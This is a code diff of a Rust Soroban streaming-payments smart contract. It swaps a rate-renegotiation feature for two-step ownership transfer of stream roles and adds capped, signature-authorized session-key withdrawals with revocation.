+        stream::put_stream(&env, &s);
+
+        #[cfg(test)]
+        cei_trace::record("event StreamToppedUp");
+        StreamToppedUp {
+            stream_id,
+            sender: s.sender.clone(),
+            amount,
+            new_deposit,
         }
-    }
+        .publish(&env);
 
-    // --------------------------------------------- rate renegotiation (#54) --
-    //
-    // The sender and the recipient can agree a new `amount_per_second` for the
-    // rest of a running stream. Neither can impose it alone: the change needs
-    // the counterparty's acceptance, and the funds movement it implies is
-    // computed from the stored schedule at the moment of acceptance, never at
-    // proposal time.
+        Ok(())
+    }
 
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " Proposes a new streaming rate for `stream_id`. The change takes"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " effect only when the counterparty calls"
+        doc = " Proposes handing the caller's stream role (sender or recipient) to"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " [`StreamingPayments::accept_rate_change`], and only from that moment"
+        doc = " `new_owner`. The role does not move until `new_owner` calls"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " onward: everything accrued before it is untouched."
+        doc = " [`StreamingPayments::accept_ownership_transfer`]."
     )]
     #[cfg_attr(not(target_family = "wasm"), doc = "")]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " * Either party may propose; their authorization is required. A"
+        doc = " * Only the current sender or recipient may propose; their authorization"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = "   stranger is rejected with [`StreamError::NotAuthorized`]."
+        doc = "   is required. A stranger is rejected with [`StreamError::NotAuthorized`]."
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " * The stream must be `Active` and its window must not have elapsed:"
+        doc = " * The stream must be `Active`: ownership of a cancelled or depleted"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = "   a rate for a finished stream would be a no-op that still rebalances"
+        doc = "   stream has no future claims and cannot be transferred."
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = "   funds, so it is rejected with [`StreamError::InvalidTimeRange`]."
+        doc = " * Proposing to the current holder of the same role is rejected with"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " * `amount_per_second` must be positive ([`StreamError::ZeroAmount`])."
+        doc = "   [`StreamError::InvalidTransferTarget`]."
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
@@ -3048,39 +1405,27 @@ impl StreamingPayments {
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = "   [`StreamError::RateProposalPending`]; an expired proposal is"
+        doc = "   [`StreamError::OwnershipProposalPending`]; an expired proposal is"
     )]
     #[cfg_attr(not(target_family = "wasm"), doc = "   removed and replaced.")]
     #[cfg_attr(not(target_family = "wasm"), doc = "")]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " Governance policy for the *proposed* rate is checked at acceptance,"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " not here: the ceilings that bind are the ones in force when the"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " change becomes effective, and they can move during the acceptance"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " window. No tokens move and no accounting field changes at proposal"
+        doc = " No tokens move and no accounting field changes at proposal time. The"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " time; the offer is recorded under its own storage key with a"
+        doc = " target is recorded under its own storage key with a seven-day"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " seven-day acceptance window ([`RATE_PROPOSAL_TTL_SECONDS`])."
+        doc = " acceptance window ([`OWNERSHIP_PROPOSAL_TTL_SECONDS`])."
     )]
-    pub fn propose_rate_change(
+    pub fn propose_ownership_transfer(
         env: Env,
         caller: Address,
         stream_id: u64,
-        amount_per_second: i128,
+        new_owner: Address,
     ) -> Result<(), StreamError> {
         Self::require_not_frozen(&env)?;
         caller.require_auth();
@@ -3089,46 +1434,39 @@ impl StreamingPayments {
         if s.status != StreamStatus::Active {
             return Err(surface::reject(Branch::StreamNotActive));
         }
-        if amount_per_second <= 0 {
-            return Err(surface::reject(Branch::RateProposalAmountNonPositive));
-        }
-        let now = env.ledger().timestamp();
-        if now >= s.end_time {
-            return Err(surface::reject(Branch::RateProposalWindowElapsed));
-        }
-        let counterparty = if caller == s.sender {
-            s.recipient.clone()
-        } else if caller == s.recipient {
-            s.sender.clone()
-        } else {
-            return Err(surface::reject(Branch::RateProposeNotAuthorized));
+        let role = Self::role_of(&s, &caller)?;
+        let current_owner = match role {
+            OwnershipRole::Sender => &s.sender,
+            OwnershipRole::Recipient => &s.recipient,
         };
+        if new_owner == *current_owner {
+            return Err(surface::reject(Branch::ProposeInvalidTarget));
+        }
 
-        if let Some(existing) = stream::get_pending_rate_change(&env, stream_id) {
+        let now = env.ledger().timestamp();
+        if let Some(existing) = stream::get_pending_ownership(&env, stream_id) {
             if now < existing.expires_at {
-                return Err(surface::reject(Branch::RateProposalPending));
+                return Err(surface::reject(Branch::ProposeAlreadyPending));
             }
-            // Expired proposals are cleared lazily so a fresh offer needs no
-            // separate cleanup transaction.
-            stream::remove_pending_rate_change(&env, stream_id);
+            // Stale proposals are cleared lazily so a fresh target can be
+            // proposed without a separate cleanup transaction.
+            stream::remove_pending_ownership(&env, stream_id);
         }
 
-        let pending = PendingRateChange {
+        let pending = PendingOwnership {
             stream_id,
             proposed_by: caller.clone(),
-            counterparty: counterparty.clone(),
-            amount_per_second,
-            expires_at: now.saturating_add(RATE_PROPOSAL_TTL_SECONDS),
+            new_owner: new_owner.clone(),
+            role,
+            expires_at: now.saturating_add(OWNERSHIP_PROPOSAL_TTL_SECONDS),
         };
-        stream::put_pending_rate_change(&env, &pending);
+        stream::put_pending_ownership(&env, &pending);
 
-        #[cfg(test)]
-        cei_trace::record("event RateChangeProposed");
-        RateChangeProposed {
+        OwnershipProposed {
             stream_id,
-            proposed_by: caller,
-            counterparty,
-            amount_per_second,
+            current_owner: caller,
+            new_owner,
+            role,
             expires_at: pending.expires_at,
         }
         .publish(&env);
@@ -3138,121 +1476,64 @@ impl StreamingPayments {
 
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " Accepts a pending rate change, rebalancing the deposit atomically."
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Only the proposal's counterparty may accept, and their authorization"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " is required. The rate itself was fixed by the proposal; what acceptance"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " computes is what that rate now costs:"
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " * `owed` — accrued at the change boundary `t` under the schedule that"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = "   was in force until now, i.e. `streamed` at `t`. It is carried into"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = "   the new schedule untouched, which is what makes the change unable to"
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "   re-price the past.")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " * `reserved` — `amount_per_second * (end_time - t)`, an exact integer"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = "   product, floored by nothing and rounded by nothing: the new segment"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = "   accrues that amount over exactly that window, so it is fully streamed"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = "   at `end_time` with no rounding residue."
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " * `adjustment` — `reserved - (deposit - owed)`. Positive means the"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = "   old reserve no longer covers the new rate and the sender tops up the"
+        doc = " Accepts a pending ownership proposal. Only the proposal's `new_owner`"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = "   shortfall; negative means the sender is refunded the freed remainder."
+        doc = " may call this, and their authorization is required."
     )]
     #[cfg_attr(not(target_family = "wasm"), doc = "")]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " The deposit becomes `owed + reserved`, so the accrual endpoint still"
+        doc = " On success the sender or recipient role moves to the caller. The"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " equals the deposit and the invariant `withdrawn <= streamed <= deposit`"
+        doc = " stream's accounting fields (`deposit`, `withdrawn`, `start_time`,"
     )]
-    #[cfg_attr(not(target_family = "wasm"), doc = " holds across the whole change.")]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " Funds movement follows the direction of the change: a top-up is pulled"
+        doc = " `end_time`, `token`, `status`, `use_oracle`) are untouched, so accrual"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " *before* any effect is written (like `top_up`), so a token that refuses"
+        doc = " and the `0 <= withdrawn <= streamed <= deposit` invariant are unchanged:"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " the pull leaves the schedule and the deposit untouched; a refund is paid"
+        doc = " what moves is the right to future payouts (recipient) or future top-ups"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " *after* the effects (like `cancel_stream`), so a token that refuses the"
+        doc = " / cancellation refunds (sender). The stream id is appended to the new"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " refund rolls the whole acceptance back and the proposal survives for a"
+        doc = " holder's discovery index; the previous holder's append-only index keeps"
     )]
-    #[cfg_attr(not(target_family = "wasm"), doc = " retry.")]
+    #[cfg_attr(not(target_family = "wasm"), doc = " its historical entry.")]
     #[cfg_attr(not(target_family = "wasm"), doc = "")]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " An expired proposal cannot be accepted"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " ([`StreamError::RateProposalExpired`]), and neither can one whose parties"
+        doc = " Expired proposals cannot be accepted: the call reverts with"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " have moved on: if a role transferred after the offer was made, the"
+        doc = " [`StreamError::OwnershipProposalExpired`]. Reverts roll back storage"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " recorded proposer/counterparty pair is no longer the stream's sender and"
+        doc = " writes, so the stale entry stays stored but is ignored forever after"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " recipient, and acceptance reverts with [`StreamError::NotAuthorized`]."
+        doc = " its window; a later proposal replaces it (see"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " The stale offer blocks nothing — its proposer can always cancel it."
+        doc = " [`StreamingPayments::propose_ownership_transfer`])."
     )]
-    pub fn accept_rate_change(
+    pub fn accept_ownership_transfer(
         env: Env,
         caller: Address,
         stream_id: u64,
@@ -3260,149 +1541,78 @@ impl StreamingPayments {
         Self::require_not_frozen(&env)?;
         caller.require_auth();
 
-        let pending = stream::get_pending_rate_change(&env, stream_id)
-            .ok_or_else(|| surface::reject(Branch::NoPendingRateChange))?;
-        if caller != pending.counterparty {
-            return Err(surface::reject(Branch::RateAcceptNotTarget));
+        let pending = stream::get_pending_ownership(&env, stream_id)
+            .ok_or_else(|| surface::reject(Branch::NoPendingOwnership))?;
+        if caller != pending.new_owner {
+            return Err(surface::reject(Branch::AcceptNotTarget));
         }
         if env.ledger().timestamp() >= pending.expires_at {
-            return Err(surface::reject(Branch::RateProposalExpired));
+            return Err(surface::reject(Branch::OwnershipProposalExpired));
         }
 
         let mut s = stream::get_stream(&env, stream_id)?;
         if s.status != StreamStatus::Active {
             return Err(surface::reject(Branch::StreamNotActive));
         }
-        // The recorded pair must still be exactly the stream's parties, in the
-        // same roles. A transfer of either role invalidates the offer rather
-        // than letting a change negotiated with an ex-party bind their
-        // successor's funds.
-        let still_negotiating = (caller == s.sender && pending.proposed_by == s.recipient)
-            || (caller == s.recipient && pending.proposed_by == s.sender);
-        if !still_negotiating {
-            return Err(surface::reject(Branch::RateAcceptStaleParties));
-        }
-
-        // The boundary is the stream's own clock (oracle-resolved like every
-        // other accrual read), clamped into the window: a proposal made before
-        // `start_time` starts the new rate at `start_time`, and one that outlives
-        // `end_time` has nothing left to re-rate.
-        let resolved = oracle::resolve_stream_time(&env, stream_id, s.uses_oracle());
-        let boundary = stream::accrual_now(&env, stream_id, resolved.timestamp).max(s.start_time);
-        if boundary >= s.end_time {
-            return Err(surface::reject(Branch::RateProposalWindowElapsed));
-        }
-        let remaining = (s.end_time - boundary) as i128;
-
-        policy::validate_rate_args(
-            policy::get_stream_policy(&env, Some(s.token.clone())).as_ref(),
-            pending.amount_per_second,
-        )?;
 
-        let segments = stream::get_rate_segments(&env, stream_id);
-        let owed = stream::streamed_amount_at_segments(&s, boundary, &segments)?;
-        // Exact by construction: the new segment's basis is its own window
-        // length, so `reserved` is what it streams, to the token.
-        let reserved = pending
-            .amount_per_second
-            .checked_mul(remaining)
-            .ok_or_else(|| surface::reject(Branch::RateReserveOverflow))?;
-        // `owed <= deposit` is the stream invariant, so the headroom check below
-        // can only fire on a corrupt entry; the reserve checks are real guards —
-        // a proposed rate is unbounded until the rebalancing is priced.
-        let headroom = s
-            .deposit
-            .checked_sub(owed)
-            .ok_or_else(|| surface::reject(Branch::RateHeadroomUnderflow))?;
-        let adjustment = reserved
-            .checked_sub(headroom)
-            .ok_or_else(|| surface::reject(Branch::RateReserveOverflow))?;
-        let new_deposit = s
-            .deposit
-            .checked_add(adjustment)
-            .ok_or_else(|| surface::reject(Branch::RateReserveOverflow))?;
-        stream::validate_capacity(reserved, remaining as u64)?;
-        let new_segments = stream::segments_after_change(&env, &s, &segments, boundary, reserved)?;
-
-        if adjustment > 0 {
-            // A recipient accepting an increase takes funds from the sender, who
-            // has not signed this call — so their authorization is required too.
-            s.sender.require_auth();
-            pull(
-                &env,
-                &s.token,
-                &s.sender,
-                adjustment,
-                Branch::RateTopUpTransferFailed,
-            )?;
-        }
+        // The proposal could only have been created by the address currently
+        // holding `role`, and role transfers always clear the pending key, so
+        // `proposed_by` is the previous owner by construction.
+        let previous_owner = match pending.role {
+            OwnershipRole::Sender => {
+                s.sender = caller.clone();
+                pending.proposed_by.clone()
+            }
+            OwnershipRole::Recipient => {
+                s.recipient = caller.clone();
+                pending.proposed_by.clone()
+            }
+        };
 
-        // Effects: install the schedule, then the deposit it sums to, then clear
-        // the offer. `withdrawn` never moves, so nothing already claimed is
-        // re-priced or re-claimable.
-        s.deposit = new_deposit;
         stream::put_stream(&env, &s);
-        stream::put_rate_segments(&env, stream_id, &new_segments);
-        stream::remove_pending_rate_change(&env, stream_id);
+        match pending.role {
+            OwnershipRole::Sender => stream::index_sender(&env, &caller, stream_id),
+            OwnershipRole::Recipient => stream::index_recipient(&env, &caller, stream_id),
+        }
+        stream::remove_pending_ownership(&env, stream_id);
 
-        #[cfg(test)]
-        cei_trace::record("event RateChangeAccepted");
-        RateChangeAccepted {
+        OwnershipAccepted {
             stream_id,
-            accepted_by: caller,
-            new_amount_per_second: pending.amount_per_second,
-            effective_from: boundary,
-            owed_at_change: owed,
-            reserved_at_new_rate: reserved,
-            adjustment,
-            deposit: new_deposit,
+            previous_owner,
+            new_owner: caller,
+            role: pending.role,
         }
         .publish(&env);
 
-        if adjustment < 0 {
-            let refund = -adjustment;
-            push(
-                &env,
-                &s.token,
-                &stream::muxed(&s.sender),
-                refund,
-                Branch::RateRefundFailed,
-            )?;
-        }
-
         Ok(())
     }
 
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " Cancels a pending rate proposal. Only the address that created it"
+        doc = " Cancels a pending ownership proposal. Only the current role holder that"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " may cancel, and its authorization is required."
+        doc = " created the proposal may cancel it; their authorization is required."
     )]
     #[cfg_attr(not(target_family = "wasm"), doc = "")]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " Cancellation is allowed after the acceptance window elapsed (it simply"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " clears the stale entry) and on a stream that has since been cancelled"
+        doc = " Cancelling is allowed after the proposal's acceptance window has"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " or depleted, which is what lets a proposer clean up after the fact."
+        doc = " elapsed (it simply clears the stale entry). It emits no event: the"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " It emits no event: the proposal never changed the stream, and"
+        doc = " proposal never changed the stream, and `OwnershipProposed` remains the"
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " `RateChangeProposed` remains the permanent record that one existed."
+        doc = " permanent record that a proposal once existed."
     )]
-    pub fn cancel_rate_change(
+    pub fn cancel_ownership_transfer(
         env: Env,
         caller: Address,
         stream_id: u64,
@@ -3410,42 +1620,40 @@ impl StreamingPayments {
         Self::require_not_frozen(&env)?;
         caller.require_auth();
 
-        let pending = stream::get_pending_rate_change(&env, stream_id)
-            .ok_or_else(|| surface::reject(Branch::NoPendingRateChange))?;
+        let pending = stream::get_pending_ownership(&env, stream_id)
+            .ok_or_else(|| surface::reject(Branch::NoPendingOwnership))?;
         if caller != pending.proposed_by {
-            return Err(surface::reject(Branch::RateCancelNotProposer));
+            return Err(surface::reject(Branch::CancelProposalNotProposer));
         }
-        stream::remove_pending_rate_change(&env, stream_id);
+        stream::remove_pending_ownership(&env, stream_id);
         Ok(())
     }
 
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " Read-only view of a stream's pending rate proposal, if any."
+        doc = " Read-only view of a stream's pending ownership proposal, if any."
     )]
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " Reading extends the proposal's storage TTL; unknown streams return"
+        doc = " Reading extends the proposal's storage TTL; unknown streams simply"
     )]
-    #[cfg_attr(not(target_family = "wasm"), doc = " `None`.")]
-    pub fn pending_rate_change(env: Env, stream_id: u64) -> Option<PendingRateChange> {
-        stream::get_pending_rate_change(&env, stream_id)
+    #[cfg_attr(not(target_family = "wasm"), doc = " return `None`.")]
+    pub fn pending_ownership_transfer(env: Env, stream_id: u64) -> Option<PendingOwnership> {
+        stream::get_pending_ownership(&env, stream_id)
     }
 
     #[cfg_attr(
         not(target_family = "wasm"),
-        doc = " Read-only view of a stream's rate schedule. Empty means the stream"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " still accrues at its original rate over `[start_time, end_time)`: the"
+        doc = " Resolves which role `caller` currently holds on `s`."
     )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " single-window formula, with no stored segment to consult."
-    )]
-    pub fn rate_segments(env: Env, stream_id: u64) -> Vec<RateSegment> {
-        stream::get_rate_segments(&env, stream_id)
+    fn role_of(s: &Stream, caller: &Address) -> Result<OwnershipRole, StreamError> {
+        if caller == &s.sender {
+            Ok(OwnershipRole::Sender)
+        } else if caller == &s.recipient {
+            Ok(OwnershipRole::Recipient)
+        } else {
+            Err(surface::reject(Branch::ProposeNotAuthorized))
+        }
     }
 
     #[cfg_attr(
@@ -3456,39 +1664,6 @@ impl StreamingPayments {
         stream::get_stream(&env, stream_id)
     }
 
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Read-only view of a stream's open dispute. Reverts with"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " [`StreamError::DisputeNotFound`] when the stream is undisputed"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " (disputes exist only while open; resolution and expiry remove them)."
-    )]
-    pub fn get_dispute(env: Env, stream_id: u64) -> Result<Dispute, StreamError> {
-        dispute::get_dispute(&env, stream_id)
-    }
-
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " The bond a recipient must post (and pre-approve) to raise the next"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " dispute on this stream: 5% of the deposit, multiplied by the number"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " of disputes already raised on it, floored at one token unit."
-    )]
-    pub fn required_dispute_bond(env: Env, stream_id: u64) -> Result<i128, StreamError> {
-        let s = stream::get_stream(&env, stream_id)?;
-        dispute::required_bond(s.deposit, dispute::dispute_count(&env, stream_id))
-    }
-
     #[cfg_attr(
         not(target_family = "wasm"),
         doc = " Read-only view of the accrued-but-unwithdrawn balance at the current"
@@ -3503,8 +1678,8 @@ impl StreamingPayments {
     )]
     pub fn available(env: Env, stream_id: u64) -> Result<i128, StreamError> {
         let s = stream::get_stream(&env, stream_id)?;
-        let resolved = oracle::resolve_stream_time(&env, stream_id, s.uses_oracle());
-        stream::available_amount_with_plan(&env, &s, resolved.timestamp)
+        let resolved = oracle::resolve_stream_time(&env, stream_id, s.use_oracle);
+        stream::available_amount_at(&s, resolved.timestamp)
     }
 
     #[cfg_attr(
@@ -4476,6 +2651,275 @@ impl StreamingPayments {
             &sponsor::SponsorKey::BeneficiarySpend(sponsor, beneficiary),
         )
     }
+
+    // ------------------------------------------------------ session keys ----
+    //
+    // Recipient-authorized, capped delegated withdrawals. A recipient binds an
+    // agent (hot wallet / automation bot) to a single stream with a per-window
+    // cap, a total cap, and an expiry. The agent then calls
+    // `withdraw_delegated` with an ed25519 signature over the withdrawal
+    // parameters; the contract — not the signer — enforces the caps and
+    // expiry. See `session_key.rs` for the storage layout and the rationale
+    // for a fixed-window ledger.
+
+    /// Authorizes `agent_key` (an ed25519 public key) to withdraw from
+    /// `stream_id` on the recipient's behalf, under strict caps.
+    ///
+    /// Only the stream's current recipient may call this (their
+    /// authorization is required). The stream must be `Active`.
+    ///
+    /// * `per_period_cap` — maximum total delegated withdrawal per fixed
+    ///   window (`window_seconds` long, aligned to the authorization time).
+    /// * `total_cap` — maximum total delegated withdrawal over the whole
+    ///   session, across all windows.
+    /// * `expires_at` — absolute ledger timestamp after which the session is
+    ///   dead. Must be strictly in the future and at most
+    ///   [`MAX_SESSION_DURATION_SECONDS`] away.
+    ///
+    /// Re-authorizing the same `(recipient, stream, agent_key)` triple resets
+    /// the session: caps and window restart from the new authorization. This
+    /// is the intended rotation path for a compromised agent key (the
+    /// recipient simply re-authorizes with a fresh key, or calls
+    /// [`StreamingPayments::revoke_agent`]).
+    pub fn authorize_agent(
+        env: Env,
+        recipient: Address,
+        stream_id: u64,
+        agent_key: BytesN<32>,
+        per_period_cap: i128,
+        total_cap: i128,
+        window_seconds: u64,
+        expires_at: u64,
+    ) -> Result<(), StreamError> {
+        Self::require_not_frozen(&env)?;
+        recipient.require_auth();
+
+        let s = stream::get_stream(&env, stream_id)?;
+        if s.recipient != recipient {
+            return Err(surface::reject(Branch::SessionNotRecipient));
+        }
+        if s.status != StreamStatus::Active {
+            return Err(surface::reject(Branch::StreamNotActive));
+        }
+
+        session_key::authorize_agent(
+            &env,
+            &recipient,
+            stream_id,
+            &agent_key,
+            per_period_cap,
+            total_cap,
+            window_seconds,
+            expires_at,
+        )?;
+
+        AgentAuthorized {
+            stream_id,
+            recipient,
+            agent_key,
+            per_period_cap,
+            total_cap,
+            window_seconds,
+            expires_at,
+        }
+        .publish(&env);
+
+        Ok(())
+    }
+
+    /// Revokes a previously authorized agent session. Only the stream's
+    /// current recipient may call this (their authorization is required).
+    ///
+    /// Revocation is immediate and on-chain: the session entry is removed in
+    /// the same invocation, so any `withdraw_delegated` submitted afterwards
+    /// (even in the same ledger, if it executes later) reverts with
+    /// [`StreamError::AgentNotAuthorized`]. Revoking an already-revoked or
+    /// never-authorized session is a no-op that still succeeds, so incident
+    /// responders can call it defensively.
+    ///
+    /// # Incident procedure (compromised agent key)
+    ///
+    /// 1. Recipient calls `revoke_agent(recipient, stream_id, agent_key)`.
+    ///    Revocation latency is bounded by ledger close time (~5s on
+    ///    Stellar): once the transaction lands, no further delegated
+    ///    withdrawal can succeed.
+    /// 2. Any in-flight `withdraw_delegated` that lands *before* the
+    ///    revocation is still bounded by the session caps, so the maximum
+    ///    loss is `min(total_cap, per_period_cap)` per window up to the
+    ///    revocation ledger. Choose caps accordingly.
+    /// 3. Optionally re-authorize a fresh agent key with
+    ///    `authorize_agent` (which resets the window and caps).
+    pub fn revoke_agent(
+        env: Env,
+        recipient: Address,
+        stream_id: u64,
+        agent_key: BytesN<32>,
+    ) -> Result<(), StreamError> {
+        Self::require_not_frozen(&env)?;
+        recipient.require_auth();
+
+        let s = stream::get_stream(&env, stream_id)?;
+        if s.recipient != recipient {
+            return Err(surface::reject(Branch::SessionNotRecipient));
+        }
+
+        session_key::revoke_agent(&env, &recipient, stream_id, &agent_key);
+
+        AgentRevoked {
+            stream_id,
+            recipient,
+            agent_key,
+        }
+        .publish(&env);
+
+        Ok(())
+    }
+
+    /// Withdraws `amount` from `stream_id` on behalf of the recipient, using a
+    /// session key previously authorized via
+    /// [`StreamingPayments::authorize_agent`].
+    ///
+    /// The agent does not need a Stellar account: authorization is an
+    /// ed25519 signature over the canonical message
+    /// `(stream_id, amount, nonce, deadline)` bound to the contract id and
+    /// the agent's public key (see `session_key::message`). The contract
+    /// verifies the signature with the host's ed25519 verifier and then
+    /// enforces, in order:
+    ///
+    /// 1. the session exists and has not expired (`now < expires_at`);
+    /// 2. `deadline >= now` (per-call freshness, so a captured signature
+    ///    cannot be replayed after a bounded window);
+    /// 3. `nonce` is strictly greater than the last consumed nonce for this
+    ///    session (monotonic replay protection);
+    /// 4. `amount <= available(stream)` (the stream's own accrual cap);
+    /// 5. `amount <= per_period_cap - spent_in_current_window`;
+    /// 6. `amount <= total_cap - spent_total`.
+    ///
+    /// On success, the nonce and spend counters are advanced *before* the
+    /// payout (CEI), and the payout reuses the same `pay_out` tail as the
+    /// recipient's own `withdraw`, so the stream's `withdrawn` accounting and
+    /// the `Withdrawn` event are identical to a direct withdrawal. A
+    /// `DelegatedWithdrawn` event records the agent and the post-call cap
+    /// state for off-chain monitoring.
+    ///
+    /// # Signature scheme
+    ///
+    /// Soroban exposes `env.crypto().ed25519_verify(public_key, message,
+    /// signature)`, which is the cheapest on-chain verifier and matches the
+    /// key format used by Stellar accounts. We deliberately do **not** use
+    /// `require_auth` on the agent key: that would require the agent to be a
+    /// funded Stellar account and would not let us bind the caps into the
+    /// signed payload. secp256k1 (`secp256k1_recover`) is available but
+    /// costs more CPU instructions and offers no benefit here; ed25519 is
+    /// the standard for Stellar hot keys and hardware signers.
+    #[allow(clippy::too_many_arguments)] // the delegated surface is intentionally explicit
+    pub fn withdraw_delegated(
+        env: Env,
+        agent_key: BytesN<32>,
+        stream_id: u64,
+        amount: i128,
+        nonce: u64,
+        deadline: u64,
+        agent_sig: BytesN<64>,
+    ) -> Result<(), StreamError> {
+        Self::require_not_frozen(&env)?;
+        if amount <= 0 {
+            return Err(surface::reject(Branch::WithdrawAmountNonPositive));
+        }
+
+        let mut s = stream::get_stream(&env, stream_id)?;
+        if s.status != StreamStatus::Active {
+            return Err(surface::reject(Branch::StreamNotActive));
+        }
+
+        let now = env.ledger().timestamp();
+        let mut session = session_key::load_session(&env, &s.recipient, stream_id, &agent_key)?;
+
+        // Verify the agent's signature over the canonical message before
+        // touching any cap state. A bad signature is indistinguishable from
+        // an unauthorized agent to the caller.
+        let message = session_key::message(&env, stream_id, amount, nonce, deadline);
+        env.crypto()
+            .ed25519_verify(&agent_key, &message, &agent_sig);
+
+        // Enforce session-level constraints. Order matters: expiry and
+        // deadline first (cheap, and a stale session should never consume a
+        // nonce), then replay, then caps.
+        if now >= session.expires_at {
+            return Err(surface::reject(Branch::SessionExpired));
+        }
+        if deadline < now {
+            return Err(surface::reject(Branch::SessionDeadlinePassed));
+        }
+        if nonce <= session.last_nonce {
+            return Err(surface::reject(Branch::SessionNonceReused));
+        }
+
+        let resolved = oracle::resolve_stream_time(&env, stream_id, s.use_oracle);
+        let available = stream::available_amount_at(&s, resolved.timestamp)?;
+        if amount > available {
+            return Err(surface::reject(Branch::WithdrawAmountExceedsAvailable));
+        }
+
+        // Roll the fixed window forward if the current one has elapsed. The
+        // window is anchored at authorization time so the recipient can
+        // reason about it deterministically.
+        session_key::roll_window(&mut session, now)?;
+        let period_remaining = session
+            .per_period_cap
+            .checked_sub(session.spent_in_window)
+            .ok_or(StreamError::MathOverflow)?;
+        if amount > period_remaining {
+            return Err(surface::reject(Branch::SessionPeriodCapExceeded));
+        }
+        let total_remaining = session
+            .total_cap
+            .checked_sub(session.spent_total)
+            .ok_or(StreamError::MathOverflow)?;
+        if amount > total_remaining {
+            return Err(surface::reject(Branch::SessionTotalCapExceeded));
+        }
+
+        // Effects (CEI): advance nonce and spend counters, then persist the
+        // session before the payout. A failed payout rolls all of this back
+        // atomically with the token transfer.
+        session.last_nonce = nonce;
+        session.spent_in_window = session
+            .spent_in_window
+            .checked_add(amount)
+            .ok_or(StreamError::MathOverflow)?;
+        session.spent_total = session
+            .spent_total
+            .checked_add(amount)
+            .ok_or(StreamError::MathOverflow)?;
+        session_key::store_session(&env, &session);
+
+        Self::pay_out(&env, &mut s, amount)?;
+
+        DelegatedWithdrawn {
+            stream_id,
+            recipient: s.recipient.clone(),
+            agent_key,
+            amount,
+            nonce,
+            spent_in_window: session.spent_in_window,
+            spent_total: session.spent_total,
+            window_start: session.window_start,
+        }
+        .publish(&env);
+
+        Ok(())
+    }
+
+    /// Read-only view of an agent session, if authorized.
+    pub fn get_agent_session(
+        env: Env,
+        recipient: Address,
+        stream_id: u64,
+        agent_key: BytesN<32>,
+    ) -> Option<AgentSession> {
+        session_key::get_session(&env, &recipient, stream_id, &agent_key)
+    }
     // ------------------------------------------------------------- policy --
     //
     // The optional asset allowlist and governance layer: restricts which assets
